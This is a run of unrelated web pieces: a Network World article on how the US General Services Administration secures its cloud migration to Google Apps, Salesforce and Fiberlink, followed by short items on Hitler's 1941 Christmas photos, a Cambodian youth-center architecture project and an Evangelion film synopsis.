GSA says the combination of a unified directory service, single sign-on software that covers both cloud- and premises-based applications, and two-factor authentication is allowing the agency to meet regulatory mandates for information security. GSA uses passwords and smart cards for authentication.
"Identity management is really a critical piece of this," said GSA CIO Casey Coleman. "We have a two-factor authentication solution. You can use that two-factor authentication solution as the main criteria for provisioning and de-provisioning. When an employee comes on board, nothing happens until you issue a credential or token, and when they leave that's the first thing that's reclaimed. By doing that, you don't have to turn off accounts in all of these other cloud systems. By taking away that second factor that's required to get into these systems, you improve your ability to maintain your right set of access controls."
MORE: Identity management in the cloud emerges as hot-button issue for CIOs
GSA is at the forefront of the Obama administration's "cloud-first" strategy, which is designed to lower IT costs and eliminate federal data centers through the adoption of cloud-based applications. The new policy requires agencies to identify three "must-move" IT services that can be migrated to cloud computing applications and to complete the migration in 2012.
GSA, a fee-for-service organization, has vowed to be the first agency to meet this "cloud-first" requirement.
"Our administrator Martha Johnson has issued us a mandate that GSA goes first," Coleman said. "Our goal in doing that is that by adopting these technologies, GSA can provide the value and share the lessons learned in deploying them to other federal agencies or other corporations. Our goal is to serve as a public steward for the prudent adoption of new technologies."
By the end of the year, GSA will complete its migration to cloud computing for three popular applications used by its 17,000 employees. GSA selected Google Apps for email, Fiberlink for remote device management, and Salesforce for customer relationship management (CRM) and collaboration. The Google Apps and Fiberlink transitions are done, and the Salesforce migration will be complete in 2012.
"GSA has been enthusiastic and eager to be out in front of other federal agencies in the adoption of cloud computing," said Ray Bjorklund, chief knowledge officer at Deltek, a federal IT market research firm. "To their credit, they have been trying to ensure that all of the cloud concepts and principles work really well for the government. They've been collaborating very aggressively with [the National Institute for Standards and Technology] on security issues."
Bjorklund said his only concern about the GSA cloud computing initiative is the way the vendors -- particularly Google and Salesforce -- were selected. Rival Microsoft complained that GSA's Google award was unfair, while the Salesforce contract was closed to other CRM vendors.
"One thing I haven't been able to resolve is how can an agency like GSA push vendor-specific solutions," Bjorklund said. "Some of the smaller cloud providers have argued that GSA and some other agencies have chosen one particular cloud offering in their minds unfairly."
Despite the controversy, GSA considers cloud-based applications -- which its users can access by laptops, tablets and smartphones from job sites, offices or their homes -- to be a key enabler of its flexible work strategy.
"GSA is an agency that is very mobile," Coleman explained. "We're out with our clients and vendors, and even when we're in the building, we're working collaboratively. We are aggressively seeking to adopt mobile technologies including Salesforce to enable us to do our work anytime, anywhere, on any platform."
Coleman said Salesforce and its Chatter collaboration tool complement the agency's embrace of mobility. GSA has deployed Chatter -- a private social networking service akin to Facebook -- to half of the agency's employees. "We're giving this tool to virtually anyone in the agency who needs it," Coleman added.
MORE: Private social networks playing Facebook role in more workplaces
GSA also is deploying the Force.com application development platform within Salesforce. Coleman said GSA plans to use Force.com to consolidate all of the administrative and back-office workflows that previously resided in a number of different tools including IBM Lotus Domino, its email platform prior to Google Apps.
"Now we'll have a robust cloud-based development platform for everyone to use," Coleman said. "We can make the development of these tools standard, so teams can develop whatever they need for their local requirements, but everyone can share common sets of data, data standards, security standards and architectural requirements."
GSA is already reaping the rewards of its transition to cloud computing. GSA says that migrating to Google Apps will reduce its email operation costs by 50% over five years and save more than $15.2 million. The savings are coming from a reduction in hardware, software licenses, data center space and maintenance.
"We're using pretty much every aspect of Google Apps: email, calendar, contacts and chat, including text chat, voice and video chat," Coleman said. "We're using Google Sites and Google Docs for editing. We see Google and Salesforce together providing a pretty harmonious set of capabilities that will let us move [forward.]"
GSA doesn't expect direct cost savings as a result of its Salesforce deployment. Instead, the agency expects to be more efficient due to its increased mobility, and faster at adopting new technologies.
Salesforce is about "enabling employees to be mobile, to be more effective in serving our customers, and to have access to critical tools in a secure manner all the time," Coleman said. "The business case for Salesforce is more on the qualitative side than the quantitative side. By moving to the Salesforce platform, any applications we develop in Salesforce are mobile-ready form the beginning. Smartphones and tablets can use those applications."
Coleman said maintaining information security was the biggest challenge that GSA has faced in its migration to cloud-based applications.
"We have spent a significant amount of time with both Google and Salesforce -- over a year's worth of effort -- reviewing security plans and procedures and ensuring that our controls meet federal standards at the moderate level, which is the requirement for GSA," Coleman said. "We have consolidated [Microsoft] Active Directory into a single entity. ... What that allows us to do is single sign-on and two-factor authentication to the cloud. We maintain the authoritative directory list approved to log in to systems, and then we hand it off via SAML2 to the cloud providers. That's a control that we've kept in-house.''
BACKGROUND: 5 signs that you've lost control over your cloud apps
Fiberlink is a key component of the agency's cloud computing strategy because it provides remote security for mobile devices such as smartphones, tablets and laptops.
"One of the benefits of cloud computing is that the data is not sitting on one of those devices," she said. "Whereas before if you had a laptop lost or stolen it had data on it, now a tablet or smartphone that's connected to the cloud has very little data on it. The data is in the cloud where it can be secured. The device can have strong password protection, encryption and it can be wiped or erased if lost or stolen. ... Between the move to the cloud and the elimination of data sitting on devices, I think we're moving to a place where information is better secured.''
Another component of GSA's mobility strategy is to adopt open plan offices.
Like cutting-edge businesses such as Citrix, GSA is remodeling its headquarters building in Washington, D.C., to embrace open spaces and to eliminate assigned offices. In conjunction with this redesign, the agency is reducing the amount of square footage it leases by 50%. This will result in a huge savings in rent, which is one of the top expenses for all government agencies.
RELATED: CIO Q&A: How Citrix supports more workers with lower IT budget
"We'll have roughly 4,000 employees moving into a space with seats for 2,000," Coleman said. "This is quite a break from the way government real estate is normally used, and it will allow us to use the space to maximum efficiency."
Coleman says GSA is hoping to set a good example for other agencies about the benefits of open-plan office spaces. "We're expecting other agencies to learn from the GSA experience about how to use space more effectively and reduce square footage and reduce rent bills," she said. "Our going first down this path will demonstrate that using these mobile technologies will have a business return on our real estate bills."
Having gone this far down the cloud computing path, Coleman is urging other CIOs to follow GSA's lead.
"The world is moving to cloud and to mobile and to collaboration. If you're not moving there, your users will probably move there with or without you," she said. "Cloud technologies are easily adopted. As a CIO, you need to make sure the adoption is done in a secure, resilient manner that benefits the enterprise."
This story, "How GSA is securing its cloud apps" was originally published by Network World.


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December 1941 was not a good time for Adolf Hitler — and you can see it on his face in these remarkable color photos taken by his official photographer, Hugo Jaeger. The war was supposed to have been over by this point — but the Russian campaign was turning into a fiasco and the Americans had now entered into the fray. Adolf, it would appear, was having a hard time getting into some Christmas cheer.
The pictures are definitely surreal — and even a bit pathetic. While he was setting the world ablaze, Hitler organized a Christmas party for his generals in Munich. Earlier that spring, when the Russian campaign was launched, he had promised everyone that the war would be over by Christmas. Instead, he had to spend it with his generals while contemplating an uncertain future.
The photos show the usual Nazi iconography backdropped against advent candles, the glint of ornaments, and streams of tinsel dangling from a giant Christmas tree. It's fascist dystopia meets A Christmas Carol.
LIFE magazine explains how it came into the possession of these photos:
The photos published here were part of an enormous stash of color transparencies made by Hitler's personal photographer, Hugo Jaeger, and buried in glass jars on the outskirts of Munich in 1945, near the war's end. Advancing Allied forces had almost discovered the pictures during an earlier search of a house where Jaeger was staying (a bottle of cognac on top of the transparencies distracted the troops), and Jaeger — justifiably terrified that the photos would serve as evidence of his own ardent Nazism — cached them in the ground. A decade later, he exhumed the pictures; 10 years after that, he sold them to LIFE, which published a handful in 1970.
You can find more photos at LIFE, including an explanation as to why the anti-religious Nazis were celebrating Christmas in the first place.
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Kouk Khleang Youth Center was finished in spring 2014 and is in use
Follow the center on Facebook "Kouk Khleang Youth Center".
The youth center was designed and built as a collaboration between Komitu architects team and two Cambodian NGOs Cambodian Volunteers for Society (CVS) and Khmer Kamputchea Krom for Human Rights and Development Association (KKKHRDA) in a disadvantaged urban neighbourhood of Phnom Penh, Cambodia. CVS provides Cambodian youth with opportunities to learn, get work experience and unlock their potentials in order to do their share in the development of Cambodian society. Volunteering youth make useful contributions to their communities while gaining work experience for their future professional careers. Through CVS, youth from different urban communities meet and find solutions for common problems. KKKHRDA manages the neighbourhood where the center will be built and airs a radio program about human rights.
The bases of Komitu's work is on culturally sensitive and participatory design. During the design process the voice of the youth was heard through workshops. The building phase also engaged the locals. The design of the youth center is based on the use of local and sustainable building materials and technologies. Earth bricks are a low-emission choice for the bearing structures, while bamboo has been chosen for shadings and decoration because it is rapidly renewable, affordable and traditionally used in Cambodian culture. By developing modern architecture that derives from local esthetics and craftsmanship we can promote the use of these undervalued materials in modern day Cambodia.
The project started in march 2010 on Aalto University's Cambodia Studio's field trip, where Komitu members Elina Tenho and Tuuli Kassi organised the first workshops with the youth volunteering for CVS. In December 2010 we travelled back to Phnom Penh to introduce the first design for the youth center and to further develop it together with the future users. In addition to the design workshop with the local youth, presentations were held at Limkokwing University for students of architecture and at Meta-house culture center for anyone interested.
During the year 2011 Komitu worked on the design and developed the bamboo and earth brick techniques together with engineering collaborators. In March 2012 the construction begun with filling the site and prefabricating bamboo parts. In August 2012 we had a change of constructor, after which the building advanced at a good pace and BQC construction completed the building works in september 2013. Finishing touches were made and a garden with a fence was built in workshops with volunteers during spring 2014. The center had its grand opening on April 9th 2014, after which regular lessons have started in computer litteracy and English. The center also houses community meetings and other activities.
Press material can be downloaded from our Press-folder. More stories about the building process in Komitu's blog: komituarchitects.org


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Fourteen years have passed since Third Impact, yet the Angels continue their attacks against mankind. Shinji Ikari is salvaged from Evangelion Unit-01 and finds that things have changed, but not for the better: the world has been devastated, his former allies from NERV have become hostile toward him, and Rei Ayanami, the girl Shinji risked everything for, is nowhere to be found.
As he attempts to adjust to this strange new world, Shinji befriends the enigmatic Kaworu Nagisa. Together in their search for Rei, the pair learns the terrible truths behind the Angels, NERV, and the Evangelions. But a faint glimmer of hope remains for the two boys: a single opportunity to undo the mistakes of the past. Now the remnants of mankind are after them, the Angels race to stop them, and their old friends have declared them public enemy number one. With only Kaworu to support him and all the world against him, Shinji must fight for his one chance for redemption. But that may well mean finishing what he started — the end of the world.